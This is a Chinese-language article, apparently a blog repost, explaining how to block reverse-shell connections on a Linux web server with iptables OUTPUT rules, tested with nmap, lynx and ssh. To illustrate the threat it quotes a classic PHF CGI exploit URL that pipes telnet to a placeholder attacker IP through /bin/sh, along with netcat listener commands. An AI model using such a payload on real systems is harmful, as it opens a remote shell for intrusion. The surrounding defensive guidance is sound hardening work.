用iptables防御反向管道
用iptables防御反向管道
*.为什么
以前反向管道(或称反向连接)是一种用于穿越防火墙的逆向tcp连接,
被安全教科书列在高级技巧部分。
如今,防火墙用得越来越多,而反向管道已不再是什么稀奇的技术,
几乎已经成了现在入侵者的家常便饭。
管理员过分信赖防火墙被列在互联网十大安全漏洞之一,就是因为
当系统本身存在缺陷时,攻击者发送给合法端口的数据包对防火墙来说和用户的合法访问是一样的
此时,防火墙在对这类东西就是"瞎"的,虽然iptables有字符窜匹配模式,
也许有那么一种可能能匹配shellcode特征,但即使这样,防火墙对数据包检查后的转发效率是肯定不行的。
在上述情况中,攻击者很容易用一个反向连接实现得到shell而最终完成攻击。
因为反向连接的危害足够大,所以我们有必要来防御它。*.现象
教科书上的例子,很老,但还是搬出来,只是为了说明一下
%PHF
#nc -l -n -v -p 80
#nc -l -n -v -p 25
/cgi-bin/phf?Qalias=x%0a/bin/telnet%20evil_evilhackers_IP%20
80%20|%20/bin/sh%20|%20/bin/telnet%20evil_hackers_IP%2025
"%20"会别解析成空格,也可以用"+"代替
在那个unicode流行的年代,通过IIS执行命令,在一个TCP/IP筛选只保留80端口的系统上任意的横行,
后来snake的.idq溢出工具也提供了高度增强的反向连接功能,还有反弹木马.
包括现在的脚本攻击成功后,会试图用正向或是反向的连接取得系统的shell以达成入侵的目的
另一个鲜明的例子是exploit正向溢出被防火墙阻断无法获得shell,可以用反向管道从内部
主动铲回给入侵者一个shell,这样就GAME OVER了.
"反向管道+端口重定向"这种结合简直无敌了,就像AWP一样对被侵害的系统几乎是一枪致命。
有一次在电信内网工作人员自己用的MSSQL 2000 Server上,我工作时往备份数据库拷贝数据,
突然跳出一个防火墙对话框问是否允许这次操作,的确在防御反向管道方面做得不错,不过很明显
这是个个人防火墙,个人防火墙是一种复杂功能的集合体,不仅有端口过滤,还有对抗某类特征攻击数据包,
并且现在的个人防火墙越来越多地融入了入侵检测的成分,而服务器上的防火墙更像一种端口过滤和
访问控制列表,两者是不一样的,服务器系统上是不能随便用个人防火墙的,所以这个问题还是没有解决.
*对策
这里主要讨论在Linux系统上的实现,因为Linux上的防火墙Iptables足够强大,
易于操作,跟大多数软件防火墙比有过之而无不及.
!强调一点:限制反向管道要以限制正向访问控制为基础,不然根本没有意义.
既然能正向溢出又何必要画蛇添足搞个反向连接呢?
下面给出一个简单的例子,逐步说明如何加固我们的系统.
假设我们的Linux以Apache运行web服务器,只需要对外开放80端口.另外22[sshd]供admin远程管理
实际的系统可能比这个复杂或提供更多的服务,
但linux+apache的构架是全球web服务器中最常见的,所以我们以他为例子.
首先限制正向连接,对于iptables来说就是限制INPUT链,如果对此不熟悉,请先查阅iptables相关资料.
对于INPUT链的进入数据包我们只保留TCP22,80,其余全部关闭,这是服务器防火墙的一般策略.
[roor@ayazero foo]# iptables -A INPUT -i eth0 -p tcp --dport 22 -j ACCEPT
[root@ayazero foo]# iptables -A INPUT -i eth0 -p tcp --dport 80 -j ACCEPT
[root@ayazero foo]# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
[root@ayazero foo]# iptables -A INPUT -j DROP
对付反向管道即限制iptables的OUTPUT链,
[root@ayazero foo]# iptables -A OUTPUT -o eth0 -p tcp --syn -j DROP
根据TCP的三次握手,我们只需要限制外出的SYN包就能阻断由内而外的TCP连接.
另外,用tftp或其他客户端反向攫取文件的攻击行为也很普遍,
由于tftp之类的工具依赖UDP,所以现在要把它彻底抹煞掉
[root@ayazero foo]# iptables -A OUTPUT -o eth0 -p udp -j DROP
这样我们的系统就被封的死死的,就像穿了一身铠甲只留个眼睛和鼻孔,外面有一层,里面还有一层
现在我们以另一个Linux[Strike]系统为客户端来测试一下服务器
[root@ayazero server]# iptables -L INPUT
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- anywhere anywhere tcp dpt:ssh
ACCEPT tcp -- anywhere anywhere tcp dpt:http
ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED
DROP all -- anywhere anywhere
[root@ayazero server]# iptables -L OUTPUT
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
DROP tcp -- anywhere anywhere tcp flags:SYN,RST,ACK/SYN
DROP udp -- anywhere anywhere
看一下,确认规则已经符合要求
[aya@Strike client]$ nmap -sT -P0 -vv ayazero
Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
........................
/*以TCP connect()正常方式扫描,禁止PING扫描,因为我们的系统会丢弃所有的icmp包,
*如果不加"-P0"参数会报告说目标看起来不在网上存活,另外如果使用原始套接字,即"-sS"参数
*的SYN扫描方式需要root权限*/
结果两次扫描均超时,而nmap没有任何回显,每次扫描约等待15分钟.
这样的情况是正常的,如果使用nessus可以看到nmap端口扫描时的进度条,半个小时大约进度条只会有一点点
对类似的系统如果没有几个小时的天文数字是没法完成一次常规端口扫描的,或者永远都不可能完成
这样的情况只能由superscan之类的东西去解决,如果用nmap-2.54不这样,那就是3.0的一个bug
[root@ayazero server]# echo "test page!" >> /var/www/test.html
[root@ayazero server]# service httpd start
[aya@Strike client]$ lynx http://ayazero/test.html
看到了吧~
然后我们再访问sshd
[aya@Strike client]$ ssh ayazero
登陆到服务器后,能本地操作,但不能访问外部,
比如尝试访问运行在client:Strike上的apache,和再反向telnet回到Strike的连接请求均被拒绝
现象是超时自动退出,没有任何反应.
如果此时需要对外操作,那么可以临时改变iptables的OUTPUT规则,
或者清空OUTPUT链
[aya@ayazero server]# iptables -F OUTPUT
接下来就能像在本地一样很自由的操作
%Windows%
控制面板--计算机管理--本地安全策略
在IP筛选管理器里添加新的策略,
限制源地址是"我的IP"目标地址是"任何IP"类型的数据包
*注意点
这是为服务器操作系统提供的方案,同样不针对那些拿服务器聊天,看网页,下电影的白痴网管;
个人系统没有必要,也不可能这样做;
系统管理员调试网络或update系统时可以临时把规则去掉
*缺陷
以牺牲一定的易用性为代价,给管理人员带来额外的操作负担,
并且不是所有的系统运行环境都能实现
*小结
反向管道和DDoS一样都是令人头疼的东西,
似乎都没有完美的解决方案,而这篇文章更多的在于提供一点思路,一点设想
成长的对话版权声明:以上内容作者已申请原创保护,未经允许不得转载,侵权必究!授权事宜、对本内容有异议或投诉,敬请联系网站管理员,我们将尽快回复您,谢谢合作!